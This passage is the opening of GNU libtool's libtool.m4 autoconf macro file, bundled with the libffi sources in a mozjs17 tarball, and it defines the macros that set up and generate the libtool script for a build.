m4_ifndef([AC_LIBTOOL_SYS_DYNAMIC_LINKER], [AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER])]) m4_ifndef([_LT_AC_TAGCONFIG], [AC_DEFUN([_LT_AC_TAGCONFIG])]) m4_ifndef([AC_DISABLE_FAST_INSTALL], [AC_DEFUN([AC_DISABLE_FAST_INSTALL])]) m4_ifndef([_LT_AC_LANG_CXX], [AC_DEFUN([_LT_AC_LANG_CXX])]) m4_ifndef([_LT_AC_LANG_F77], [AC_DEFUN([_LT_AC_LANG_F77])]) m4_ifndef([_LT_AC_LANG_GCJ], [AC_DEFUN([_LT_AC_LANG_GCJ])]) m4_ifndef([AC_LIBTOOL_RC], [AC_DEFUN([AC_LIBTOOL_RC])]) m4_ifndef([AC_LIBTOOL_LANG_C_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG])]) m4_ifndef([_LT_AC_LANG_C_CONFIG], [AC_DEFUN([_LT_AC_LANG_C_CONFIG])]) m4_ifndef([AC_LIBTOOL_LANG_CXX_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG])]) m4_ifndef([_LT_AC_LANG_CXX_CONFIG], [AC_DEFUN([_LT_AC_LANG_CXX_CONFIG])]) m4_ifndef([AC_LIBTOOL_LANG_F77_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_F77_CONFIG])]) m4_ifndef([_LT_AC_LANG_F77_CONFIG], [AC_DEFUN([_LT_AC_LANG_F77_CONFIG])]) m4_ifndef([AC_LIBTOOL_LANG_GCJ_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_GCJ_CONFIG])]) m4_ifndef([_LT_AC_LANG_GCJ_CONFIG], [AC_DEFUN([_LT_AC_LANG_GCJ_CONFIG])]) m4_ifndef([AC_LIBTOOL_LANG_RC_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_RC_CONFIG])]) m4_ifndef([_LT_AC_LANG_RC_CONFIG], [AC_DEFUN([_LT_AC_LANG_RC_CONFIG])]) m4_ifndef([AC_LIBTOOL_CONFIG], [AC_DEFUN([AC_LIBTOOL_CONFIG])]) m4_ifndef([_LT_AC_FILE_LTDLL_C], [AC_DEFUN([_LT_AC_FILE_LTDLL_C])]) mozjs17.0.0/js/src/ctypes/libffi/m4/libtool.m40000664000175000017500000077341112106270662021010 0ustar sstanglsstangl# libtool.m4 - Configure libtool for the host system. -*-Autoconf-*- # # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, # 2006, 2007, 2008 Free Software Foundation, Inc. # Written by Gordon Matzigkeit, 1996 # # This file is free software; the Free Software Foundation gives # unlimited permission to copy and/or distribute it, with or without # modifications, as long as this notice is preserved. m4_define([_LT_COPYING], [dnl # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, # 2006, 2007, 2008 Free Software Foundation, Inc. # Written by Gordon Matzigkeit, 1996 # # This file is part of GNU Libtool. # # GNU Libtool is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of # the License, or (at your option) any later version. # # As a special exception to the GNU General Public License, # if you distribute this file as part of a program or library that # is built using GNU Libtool, you may include this file under the # same distribution terms that you use for the rest of that program. # # GNU Libtool is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GNU Libtool; see the file COPYING. If not, a copy # can be downloaded from http://www.gnu.org/licenses/gpl.html, or # obtained by writing to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. ]) # serial 56 LT_INIT # LT_PREREQ(VERSION) # ------------------ # Complain and exit if this libtool version is less that VERSION. m4_defun([LT_PREREQ], [m4_if(m4_version_compare(m4_defn([LT_PACKAGE_VERSION]), [$1]), -1, [m4_default([$3], [m4_fatal([Libtool version $1 or higher is required], 63)])], [$2])]) # _LT_CHECK_BUILDDIR # ------------------ # Complain if the absolute build directory name contains unusual characters m4_defun([_LT_CHECK_BUILDDIR], [case `pwd` in *\ * | *\ *) AC_MSG_WARN([Libtool does not cope well with whitespace in `pwd`]) ;; esac ]) # LT_INIT([OPTIONS]) # ------------------ AC_DEFUN([LT_INIT], [AC_PREREQ([2.58])dnl We use AC_INCLUDES_DEFAULT AC_BEFORE([$0], [LT_LANG])dnl AC_BEFORE([$0], [LT_OUTPUT])dnl AC_BEFORE([$0], [LTDL_INIT])dnl m4_require([_LT_CHECK_BUILDDIR])dnl dnl Autoconf doesn't catch unexpanded LT_ macros by default: m4_pattern_forbid([^_?LT_[A-Z_]+$])dnl m4_pattern_allow([^(_LT_EOF|LT_DLGLOBAL|LT_DLLAZY_OR_NOW|LT_MULTI_MODULE)$])dnl dnl aclocal doesn't pull ltoptions.m4, ltsugar.m4, or ltversion.m4 dnl unless we require an AC_DEFUNed macro: AC_REQUIRE([LTOPTIONS_VERSION])dnl AC_REQUIRE([LTSUGAR_VERSION])dnl AC_REQUIRE([LTVERSION_VERSION])dnl AC_REQUIRE([LTOBSOLETE_VERSION])dnl m4_require([_LT_PROG_LTMAIN])dnl dnl Parse OPTIONS _LT_SET_OPTIONS([$0], [$1]) # This can be used to rebuild libtool when needed LIBTOOL_DEPS="$ltmain" # Always use our own libtool. LIBTOOL='$(SHELL) $(top_builddir)/libtool' AC_SUBST(LIBTOOL)dnl _LT_SETUP # Only expand once: m4_define([LT_INIT]) ])# LT_INIT # Old names: AU_ALIAS([AC_PROG_LIBTOOL], [LT_INIT]) AU_ALIAS([AM_PROG_LIBTOOL], [LT_INIT]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_PROG_LIBTOOL], []) dnl AC_DEFUN([AM_PROG_LIBTOOL], []) # _LT_CC_BASENAME(CC) # ------------------- # Calculate cc_basename. Skip known compiler wrappers and cross-prefix. m4_defun([_LT_CC_BASENAME], [for cc_temp in $1""; do case $cc_temp in compile | *[[\\/]]compile | ccache | *[[\\/]]ccache ) ;; distcc | *[[\\/]]distcc | purify | *[[\\/]]purify ) ;; \-*) ;; *) break;; esac done cc_basename=`$ECHO "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"` ]) # _LT_FILEUTILS_DEFAULTS # ---------------------- # It is okay to use these file commands and assume they have been set # sensibly after `m4_require([_LT_FILEUTILS_DEFAULTS])'. m4_defun([_LT_FILEUTILS_DEFAULTS], [: ${CP="cp -f"} : ${MV="mv -f"} : ${RM="rm -f"} ])# _LT_FILEUTILS_DEFAULTS # _LT_SETUP # --------- m4_defun([_LT_SETUP], [AC_REQUIRE([AC_CANONICAL_HOST])dnl AC_REQUIRE([AC_CANONICAL_BUILD])dnl _LT_DECL([], [host_alias], [0], [The host system])dnl _LT_DECL([], [host], [0])dnl _LT_DECL([], [host_os], [0])dnl dnl _LT_DECL([], [build_alias], [0], [The build system])dnl _LT_DECL([], [build], [0])dnl _LT_DECL([], [build_os], [0])dnl dnl AC_REQUIRE([AC_PROG_CC])dnl AC_REQUIRE([LT_PATH_LD])dnl AC_REQUIRE([LT_PATH_NM])dnl dnl AC_REQUIRE([AC_PROG_LN_S])dnl test -z "$LN_S" && LN_S="ln -s" _LT_DECL([], [LN_S], [1], [Whether we need soft or hard links])dnl dnl AC_REQUIRE([LT_CMD_MAX_LEN])dnl _LT_DECL([objext], [ac_objext], [0], [Object file suffix (normally "o")])dnl _LT_DECL([], [exeext], [0], [Executable file suffix (normally "")])dnl dnl m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_CHECK_SHELL_FEATURES])dnl m4_require([_LT_CMD_RELOAD])dnl m4_require([_LT_CHECK_MAGIC_METHOD])dnl m4_require([_LT_CMD_OLD_ARCHIVE])dnl m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl _LT_CONFIG_LIBTOOL_INIT([ # See if we are running on zsh, and set the options which allow our # commands through without removal of \ escapes INIT. if test -n "\${ZSH_VERSION+set}" ; then setopt NO_GLOB_SUBST fi ]) if test -n "${ZSH_VERSION+set}" ; then setopt NO_GLOB_SUBST fi _LT_CHECK_OBJDIR m4_require([_LT_TAG_COMPILER])dnl _LT_PROG_ECHO_BACKSLASH case $host_os in aix3*) # AIX sometimes has problems with the GCC collect2 program. For some # reason, if we set the COLLECT_NAMES environment variable, the problems # vanish in a puff of smoke. if test "X${COLLECT_NAMES+set}" != Xset; then COLLECT_NAMES= export COLLECT_NAMES fi ;; esac # Sed substitution that helps us do robust quoting. It backslashifies # metacharacters that are still active within double-quoted strings. sed_quote_subst='s/\([["`$\\]]\)/\\\1/g' # Same as above, but do not quote variable references. double_quote_subst='s/\([["`\\]]\)/\\\1/g' # Sed substitution to delay expansion of an escaped shell variable in a # double_quote_subst'ed string. delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g' # Sed substitution to delay expansion of an escaped single quote. delay_single_quote_subst='s/'\''/'\'\\\\\\\'\''/g' # Sed substitution to avoid accidental globbing in evaled expressions no_glob_subst='s/\*/\\\*/g' # Global variables: ofile=libtool can_build_shared=yes # All known linkers require a `.a' archive for static linking (except MSVC, # which needs '.lib'). libext=a with_gnu_ld="$lt_cv_prog_gnu_ld" old_CC="$CC" old_CFLAGS="$CFLAGS" # Set sane defaults for various variables test -z "$CC" && CC=cc test -z "$LTCC" && LTCC=$CC test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS test -z "$LD" && LD=ld test -z "$ac_objext" && ac_objext=o _LT_CC_BASENAME([$compiler]) # Only perform the check for file, if the check method requires it test -z "$MAGIC_CMD" && MAGIC_CMD=file case $deplibs_check_method in file_magic*) if test "$file_magic_cmd" = '$MAGIC_CMD'; then _LT_PATH_MAGIC fi ;; esac # Use C for the default configuration in the libtool script LT_SUPPORTED_TAG([CC]) _LT_LANG_C_CONFIG _LT_LANG_DEFAULT_CONFIG _LT_CONFIG_COMMANDS ])# _LT_SETUP # _LT_PROG_LTMAIN # --------------- # Note that this code is called both from `configure', and `config.status' # now that we use AC_CONFIG_COMMANDS to generate libtool. Notably, # `config.status' has no value for ac_aux_dir unless we are using Automake, # so we pass a copy along to make sure it has a sensible value anyway. m4_defun([_LT_PROG_LTMAIN], [m4_ifdef([AC_REQUIRE_AUX_FILE], [AC_REQUIRE_AUX_FILE([ltmain.sh])])dnl _LT_CONFIG_LIBTOOL_INIT([ac_aux_dir='$ac_aux_dir']) ltmain="$ac_aux_dir/ltmain.sh" ])# _LT_PROG_LTMAIN ## ------------------------------------- ## ## Accumulate code for creating libtool. ## ## ------------------------------------- ## # So that we can recreate a full libtool script including additional # tags, we accumulate the chunks of code to send to AC_CONFIG_COMMANDS # in macros and then make a single call at the end using the `libtool' # label. # _LT_CONFIG_LIBTOOL_INIT([INIT-COMMANDS]) # ---------------------------------------- # Register INIT-COMMANDS to be passed to AC_CONFIG_COMMANDS later. m4_define([_LT_CONFIG_LIBTOOL_INIT], [m4_ifval([$1], [m4_append([_LT_OUTPUT_LIBTOOL_INIT], [$1 ])])]) # Initialize. m4_define([_LT_OUTPUT_LIBTOOL_INIT]) # _LT_CONFIG_LIBTOOL([COMMANDS]) # ------------------------------ # Register COMMANDS to be passed to AC_CONFIG_COMMANDS later. m4_define([_LT_CONFIG_LIBTOOL], [m4_ifval([$1], [m4_append([_LT_OUTPUT_LIBTOOL_COMMANDS], [$1 ])])]) # Initialize. m4_define([_LT_OUTPUT_LIBTOOL_COMMANDS]) # _LT_CONFIG_SAVE_COMMANDS([COMMANDS], [INIT_COMMANDS]) # ----------------------------------------------------- m4_defun([_LT_CONFIG_SAVE_COMMANDS], [_LT_CONFIG_LIBTOOL([$1]) _LT_CONFIG_LIBTOOL_INIT([$2]) ]) # _LT_FORMAT_COMMENT([COMMENT]) # ----------------------------- # Add leading comment marks to the start of each line, and a trailing # full-stop to the whole comment if one is not present already. m4_define([_LT_FORMAT_COMMENT], [m4_ifval([$1], [ m4_bpatsubst([m4_bpatsubst([$1], [^ *], [# ])], [['`$\]], [\\\&])]m4_bmatch([$1], [[!?.]$], [], [.]) )]) ## ------------------------ ## ## FIXME: Eliminate VARNAME ## ## ------------------------ ## # _LT_DECL([CONFIGNAME], VARNAME, VALUE, [DESCRIPTION], [IS-TAGGED?]) # ------------------------------------------------------------------- # CONFIGNAME is the name given to the value in the libtool script. # VARNAME is the (base) name used in the configure script. # VALUE may be 0, 1 or 2 for a computed quote escaped value based on # VARNAME. Any other value will be used directly. m4_define([_LT_DECL], [lt_if_append_uniq([lt_decl_varnames], [$2], [, ], [lt_dict_add_subkey([lt_decl_dict], [$2], [libtool_name], [m4_ifval([$1], [$1], [$2])]) lt_dict_add_subkey([lt_decl_dict], [$2], [value], [$3]) m4_ifval([$4], [lt_dict_add_subkey([lt_decl_dict], [$2], [description], [$4])]) lt_dict_add_subkey([lt_decl_dict], [$2], [tagged?], [m4_ifval([$5], [yes], [no])])]) ]) # _LT_TAGDECL([CONFIGNAME], VARNAME, VALUE, [DESCRIPTION]) # -------------------------------------------------------- m4_define([_LT_TAGDECL], [_LT_DECL([$1], [$2], [$3], [$4], [yes])]) # lt_decl_tag_varnames([SEPARATOR], [VARNAME1...]) # ------------------------------------------------ m4_define([lt_decl_tag_varnames], [_lt_decl_filter([tagged?], [yes], $@)]) # _lt_decl_filter(SUBKEY, VALUE, [SEPARATOR], [VARNAME1..]) # --------------------------------------------------------- m4_define([_lt_decl_filter], [m4_case([$#], [0], [m4_fatal([$0: too few arguments: $#])], [1], [m4_fatal([$0: too few arguments: $#: $1])], [2], [lt_dict_filter([lt_decl_dict], [$1], [$2], [], lt_decl_varnames)], [3], [lt_dict_filter([lt_decl_dict], [$1], [$2], [$3], lt_decl_varnames)], [lt_dict_filter([lt_decl_dict], $@)])[]dnl ]) # lt_decl_quote_varnames([SEPARATOR], [VARNAME1...]) # -------------------------------------------------- m4_define([lt_decl_quote_varnames], [_lt_decl_filter([value], [1], $@)]) # lt_decl_dquote_varnames([SEPARATOR], [VARNAME1...]) # --------------------------------------------------- m4_define([lt_decl_dquote_varnames], [_lt_decl_filter([value], [2], $@)]) # lt_decl_varnames_tagged([SEPARATOR], [VARNAME1...]) # --------------------------------------------------- m4_define([lt_decl_varnames_tagged], [m4_assert([$# <= 2])dnl _$0(m4_quote(m4_default([$1], [[, ]])), m4_ifval([$2], [[$2]], [m4_dquote(lt_decl_tag_varnames)]), m4_split(m4_normalize(m4_quote(_LT_TAGS)), [ ]))]) m4_define([_lt_decl_varnames_tagged], [m4_ifval([$3], [lt_combine([$1], [$2], [_], $3)])]) # lt_decl_all_varnames([SEPARATOR], [VARNAME1...]) # ------------------------------------------------ m4_define([lt_decl_all_varnames], [_$0(m4_quote(m4_default([$1], [[, ]])), m4_if([$2], [], m4_quote(lt_decl_varnames), m4_quote(m4_shift($@))))[]dnl ]) m4_define([_lt_decl_all_varnames], [lt_join($@, lt_decl_varnames_tagged([$1], lt_decl_tag_varnames([[, ]], m4_shift($@))))dnl ]) # _LT_CONFIG_STATUS_DECLARE([VARNAME]) # ------------------------------------ # Quote a variable value, and forward it to `config.status' so that its # declaration there will have the same value as in `configure'. VARNAME # must have a single quote delimited value for this to work. m4_define([_LT_CONFIG_STATUS_DECLARE], [$1='`$ECHO "X$][$1" | $Xsed -e "$delay_single_quote_subst"`']) # _LT_CONFIG_STATUS_DECLARATIONS # ------------------------------ # We delimit libtool config variables with single quotes, so when # we write them to config.status, we have to be sure to quote all # embedded single quotes properly. In configure, this macro expands # each variable declared with _LT_DECL (and _LT_TAGDECL) into: # # ='`$ECHO "X$" | $Xsed -e "$delay_single_quote_subst"`' m4_defun([_LT_CONFIG_STATUS_DECLARATIONS], [m4_foreach([_lt_var], m4_quote(lt_decl_all_varnames), [m4_n([_LT_CONFIG_STATUS_DECLARE(_lt_var)])])]) # _LT_LIBTOOL_TAGS # ---------------- # Output comment and list of tags supported by the script m4_defun([_LT_LIBTOOL_TAGS], [_LT_FORMAT_COMMENT([The names of the tagged configurations supported by this script])dnl available_tags="_LT_TAGS"dnl ]) # _LT_LIBTOOL_DECLARE(VARNAME, [TAG]) # ----------------------------------- # Extract the dictionary values for VARNAME (optionally with TAG) and # expand to a commented shell variable setting: # # # Some comment about what VAR is for. # visible_name=$lt_internal_name m4_define([_LT_LIBTOOL_DECLARE], [_LT_FORMAT_COMMENT(m4_quote(lt_dict_fetch([lt_decl_dict], [$1], [description])))[]dnl m4_pushdef([_libtool_name], m4_quote(lt_dict_fetch([lt_decl_dict], [$1], [libtool_name])))[]dnl m4_case(m4_quote(lt_dict_fetch([lt_decl_dict], [$1], [value])), [0], [_libtool_name=[$]$1], [1], [_libtool_name=$lt_[]$1], [2], [_libtool_name=$lt_[]$1], [_libtool_name=lt_dict_fetch([lt_decl_dict], [$1], [value])])[]dnl m4_ifval([$2], [_$2])[]m4_popdef([_libtool_name])[]dnl ]) # _LT_LIBTOOL_CONFIG_VARS # ----------------------- # Produce commented declarations of non-tagged libtool config variables # suitable for insertion in the LIBTOOL CONFIG section of the `libtool' # script. Tagged libtool config variables (even for the LIBTOOL CONFIG # section) are produced by _LT_LIBTOOL_TAG_VARS. m4_defun([_LT_LIBTOOL_CONFIG_VARS], [m4_foreach([_lt_var], m4_quote(_lt_decl_filter([tagged?], [no], [], lt_decl_varnames)), [m4_n([_LT_LIBTOOL_DECLARE(_lt_var)])])]) # _LT_LIBTOOL_TAG_VARS(TAG) # ------------------------- m4_define([_LT_LIBTOOL_TAG_VARS], [m4_foreach([_lt_var], m4_quote(lt_decl_tag_varnames), [m4_n([_LT_LIBTOOL_DECLARE(_lt_var, [$1])])])]) # _LT_TAGVAR(VARNAME, [TAGNAME]) # ------------------------------ m4_define([_LT_TAGVAR], [m4_ifval([$2], [$1_$2], [$1])]) # _LT_CONFIG_COMMANDS # ------------------- # Send accumulated output to $CONFIG_STATUS. Thanks to the lists of # variables for single and double quote escaping we saved from calls # to _LT_DECL, we can put quote escaped variables declarations # into `config.status', and then the shell code to quote escape them in # for loops in `config.status'. Finally, any additional code accumulated # from calls to _LT_CONFIG_LIBTOOL_INIT is expanded. m4_defun([_LT_CONFIG_COMMANDS], [AC_PROVIDE_IFELSE([LT_OUTPUT], dnl If the libtool generation code has been placed in $CONFIG_LT, dnl instead of duplicating it all over again into config.status, dnl then we will have config.status run $CONFIG_LT later, so it dnl needs to know what name is stored there: [AC_CONFIG_COMMANDS([libtool], [$SHELL $CONFIG_LT || AS_EXIT(1)], [CONFIG_LT='$CONFIG_LT'])], dnl If the libtool generation code is destined for config.status, dnl expand the accumulated commands and init code now: [AC_CONFIG_COMMANDS([libtool], [_LT_OUTPUT_LIBTOOL_COMMANDS], [_LT_OUTPUT_LIBTOOL_COMMANDS_INIT])]) ])#_LT_CONFIG_COMMANDS # Initialize. m4_define([_LT_OUTPUT_LIBTOOL_COMMANDS_INIT], [ # The HP-UX ksh and POSIX shell print the target directory to stdout # if CDPATH is set. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH sed_quote_subst='$sed_quote_subst' double_quote_subst='$double_quote_subst' delay_variable_subst='$delay_variable_subst' _LT_CONFIG_STATUS_DECLARATIONS LTCC='$LTCC' LTCFLAGS='$LTCFLAGS' compiler='$compiler_DEFAULT' # Quote evaled strings. for var in lt_decl_all_varnames([[ \ ]], lt_decl_quote_varnames); do case \`eval \\\\\$ECHO "X\\\\\$\$var"\` in *[[\\\\\\\`\\"\\\$]]*) eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"X\\\$\$var\\" | \\\$Xsed -e \\"\\\$sed_quote_subst\\"\\\`\\\\\\"" ;; *) eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\"" ;; esac done # Double-quote double-evaled strings. for var in lt_decl_all_varnames([[ \ ]], lt_decl_dquote_varnames); do case \`eval \\\\\$ECHO "X\\\\\$\$var"\` in *[[\\\\\\\`\\"\\\$]]*) eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"X\\\$\$var\\" | \\\$Xsed -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\"" ;; *) eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\"" ;; esac done # Fix-up fallback echo if it was mangled by the above quoting rules. case \$lt_ECHO in *'\\\[$]0 --fallback-echo"')dnl " lt_ECHO=\`\$ECHO "X\$lt_ECHO" | \$Xsed -e 's/\\\\\\\\\\\\\\\[$]0 --fallback-echo"\[$]/\[$]0 --fallback-echo"/'\` ;; esac _LT_OUTPUT_LIBTOOL_INIT ]) # LT_OUTPUT # --------- # This macro allows early generation of the libtool script (before # AC_OUTPUT is called), incase it is used in configure for compilation # tests. AC_DEFUN([LT_OUTPUT], [: ${CONFIG_LT=./config.lt} AC_MSG_NOTICE([creating $CONFIG_LT]) cat >"$CONFIG_LT" <<_LTEOF #! $SHELL # Generated by $as_me. # Run this file to recreate a libtool stub with the current configuration. lt_cl_silent=false SHELL=\${CONFIG_SHELL-$SHELL} _LTEOF cat >>"$CONFIG_LT" <<\_LTEOF AS_SHELL_SANITIZE _AS_PREPARE exec AS_MESSAGE_FD>&1 exec AS_MESSAGE_LOG_FD>>config.log { echo AS_BOX([Running $as_me.]) } >&AS_MESSAGE_LOG_FD lt_cl_help="\ \`$as_me' creates a local libtool stub from the current configuration, for use in further configure time tests before the real libtool is generated. Usage: $[0] [[OPTIONS]] -h, --help print this help, then exit -V, --version print version number, then exit -q, --quiet do not print progress messages -d, --debug don't remove temporary files Report bugs to ." lt_cl_version="\ m4_ifset([AC_PACKAGE_NAME], [AC_PACKAGE_NAME ])config.lt[]dnl m4_ifset([AC_PACKAGE_VERSION], [ AC_PACKAGE_VERSION]) configured by $[0], generated by m4_PACKAGE_STRING. Copyright (C) 2008 Free Software Foundation, Inc. This config.lt script is free software; the Free Software Foundation gives unlimited permision to copy, distribute and modify it." while test $[#] != 0 do case $[1] in --version | --v* | -V ) echo "$lt_cl_version"; exit 0 ;; --help | --h* | -h ) echo "$lt_cl_help"; exit 0 ;; --debug | --d* | -d ) debug=: ;; --quiet | --q* | --silent | --s* | -q ) lt_cl_silent=: ;; -*) AC_MSG_ERROR([unrecognized option: $[1] Try \`$[0] --help' for more information.]) ;; *) AC_MSG_ERROR([unrecognized argument: $[1] Try \`$[0] --help' for more information.]) ;; esac shift done if $lt_cl_silent; then exec AS_MESSAGE_FD>/dev/null fi _LTEOF cat >>"$CONFIG_LT" <<_LTEOF _LT_OUTPUT_LIBTOOL_COMMANDS_INIT _LTEOF cat >>"$CONFIG_LT" <<\_LTEOF AC_MSG_NOTICE([creating $ofile]) _LT_OUTPUT_LIBTOOL_COMMANDS AS_EXIT(0) _LTEOF chmod +x "$CONFIG_LT" # configure is writing to config.log, but config.lt does its own redirection, # appending to config.log, which fails on DOS, as config.log is still kept # open by configure. Here we exec the FD to /dev/null, effectively closing # config.log, so it can be properly (re)opened and appended to by config.lt. if test "$no_create" != yes; then lt_cl_success=: test "$silent" = yes && lt_config_lt_args="$lt_config_lt_args --quiet" exec AS_MESSAGE_LOG_FD>/dev/null $SHELL "$CONFIG_LT" $lt_config_lt_args || lt_cl_success=false exec AS_MESSAGE_LOG_FD>>config.log $lt_cl_success || AS_EXIT(1) fi ])# LT_OUTPUT # _LT_CONFIG(TAG) # --------------- # If TAG is the built-in tag, create an initial libtool script with a # default configuration from the untagged config vars. Otherwise add code # to config.status for appending the configuration named by TAG from the # matching tagged config vars. m4_defun([_LT_CONFIG], [m4_require([_LT_FILEUTILS_DEFAULTS])dnl _LT_CONFIG_SAVE_COMMANDS([ m4_define([_LT_TAG], m4_if([$1], [], [C], [$1]))dnl m4_if(_LT_TAG, [C], [ # See if we are running on zsh, and set the options which allow our # commands through without removal of \ escapes. if test -n "${ZSH_VERSION+set}" ; then setopt NO_GLOB_SUBST fi cfgfile="${ofile}T" trap "$RM \"$cfgfile\"; exit 1" 1 2 15 $RM "$cfgfile" cat <<_LT_EOF >> "$cfgfile" #! $SHELL # `$ECHO "$ofile" | sed 's%^.*/%%'` - Provide generalized library-building support services. # Generated automatically by $as_me ($PACKAGE$TIMESTAMP) $VERSION # Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: # NOTE: Changes made to this file will be lost: look at ltmain.sh. # _LT_COPYING _LT_LIBTOOL_TAGS # ### BEGIN LIBTOOL CONFIG _LT_LIBTOOL_CONFIG_VARS _LT_LIBTOOL_TAG_VARS # ### END LIBTOOL CONFIG _LT_EOF case $host_os in aix3*) cat <<\_LT_EOF >> "$cfgfile" # AIX sometimes has problems with the GCC collect2 program. For some # reason, if we set the COLLECT_NAMES environment variable, the problems # vanish in a puff of smoke. if test "X${COLLECT_NAMES+set}" != Xset; then COLLECT_NAMES= export COLLECT_NAMES fi _LT_EOF ;; esac _LT_PROG_LTMAIN # We use sed instead of cat because bash on DJGPP gets confused if # if finds mixed CR/LF and LF-only lines. Since sed operates in # text mode, it properly converts lines to CR/LF. This bash problem # is reportedly fixed, but why not run on old versions too? sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \ || (rm -f "$cfgfile"; exit 1) _LT_PROG_XSI_SHELLFNS sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \ || (rm -f "$cfgfile"; exit 1) mv -f "$cfgfile" "$ofile" || (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") chmod +x "$ofile" ], [cat <<_LT_EOF >> "$ofile" dnl Unfortunately we have to use $1 here, since _LT_TAG is not expanded dnl in a comment (ie after a #). # ### BEGIN LIBTOOL TAG CONFIG: $1 _LT_LIBTOOL_TAG_VARS(_LT_TAG) # ### END LIBTOOL TAG CONFIG: $1 _LT_EOF ])dnl /m4_if ], [m4_if([$1], [], [ PACKAGE='$PACKAGE' VERSION='$VERSION' TIMESTAMP='$TIMESTAMP' RM='$RM' ofile='$ofile'], []) ])dnl /_LT_CONFIG_SAVE_COMMANDS ])# _LT_CONFIG # LT_SUPPORTED_TAG(TAG) # --------------------- # Trace this macro to discover what tags are supported by the libtool # --tag option, using: # autoconf --trace 'LT_SUPPORTED_TAG:$1' AC_DEFUN([LT_SUPPORTED_TAG], []) # C support is built-in for now m4_define([_LT_LANG_C_enabled], []) m4_define([_LT_TAGS], []) # LT_LANG(LANG) # ------------- # Enable libtool support for the given language if not already enabled. AC_DEFUN([LT_LANG], [AC_BEFORE([$0], [LT_OUTPUT])dnl m4_case([$1], [C], [_LT_LANG(C)], [C++], [_LT_LANG(CXX)], [Java], [_LT_LANG(GCJ)], [Fortran 77], [_LT_LANG(F77)], [Fortran], [_LT_LANG(FC)], [Windows Resource], [_LT_LANG(RC)], [m4_ifdef([_LT_LANG_]$1[_CONFIG], [_LT_LANG($1)], [m4_fatal([$0: unsupported language: "$1"])])])dnl ])# LT_LANG # _LT_LANG(LANGNAME) # ------------------ m4_defun([_LT_LANG], [m4_ifdef([_LT_LANG_]$1[_enabled], [], [LT_SUPPORTED_TAG([$1])dnl m4_append([_LT_TAGS], [$1 ])dnl m4_define([_LT_LANG_]$1[_enabled], [])dnl _LT_LANG_$1_CONFIG($1)])dnl ])# _LT_LANG # _LT_LANG_DEFAULT_CONFIG # ----------------------- m4_defun([_LT_LANG_DEFAULT_CONFIG], [AC_PROVIDE_IFELSE([AC_PROG_CXX], [LT_LANG(CXX)], [m4_define([AC_PROG_CXX], defn([AC_PROG_CXX])[LT_LANG(CXX)])]) AC_PROVIDE_IFELSE([AC_PROG_F77], [LT_LANG(F77)], [m4_define([AC_PROG_F77], defn([AC_PROG_F77])[LT_LANG(F77)])]) AC_PROVIDE_IFELSE([AC_PROG_FC], [LT_LANG(FC)], [m4_define([AC_PROG_FC], defn([AC_PROG_FC])[LT_LANG(FC)])]) dnl The call to [A][M_PROG_GCJ] is quoted like that to stop aclocal dnl pulling things in needlessly. AC_PROVIDE_IFELSE([AC_PROG_GCJ], [LT_LANG(GCJ)], [AC_PROVIDE_IFELSE([A][M_PROG_GCJ], [LT_LANG(GCJ)], [AC_PROVIDE_IFELSE([LT_PROG_GCJ], [LT_LANG(GCJ)], [m4_ifdef([AC_PROG_GCJ], [m4_define([AC_PROG_GCJ], defn([AC_PROG_GCJ])[LT_LANG(GCJ)])]) m4_ifdef([A][M_PROG_GCJ], [m4_define([A][M_PROG_GCJ], defn([A][M_PROG_GCJ])[LT_LANG(GCJ)])]) m4_ifdef([LT_PROG_GCJ], [m4_define([LT_PROG_GCJ], defn([LT_PROG_GCJ])[LT_LANG(GCJ)])])])])]) AC_PROVIDE_IFELSE([LT_PROG_RC], [LT_LANG(RC)], [m4_define([LT_PROG_RC], defn([LT_PROG_RC])[LT_LANG(RC)])]) ])# _LT_LANG_DEFAULT_CONFIG # Obsolete macros: AU_DEFUN([AC_LIBTOOL_CXX], [LT_LANG(C++)]) AU_DEFUN([AC_LIBTOOL_F77], [LT_LANG(Fortran 77)]) AU_DEFUN([AC_LIBTOOL_FC], [LT_LANG(Fortran)]) AU_DEFUN([AC_LIBTOOL_GCJ], [LT_LANG(Java)]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_CXX], []) dnl AC_DEFUN([AC_LIBTOOL_F77], []) dnl AC_DEFUN([AC_LIBTOOL_FC], []) dnl AC_DEFUN([AC_LIBTOOL_GCJ], []) # _LT_TAG_COMPILER # ---------------- m4_defun([_LT_TAG_COMPILER], [AC_REQUIRE([AC_PROG_CC])dnl _LT_DECL([LTCC], [CC], [1], [A C compiler])dnl _LT_DECL([LTCFLAGS], [CFLAGS], [1], [LTCC compiler flags])dnl 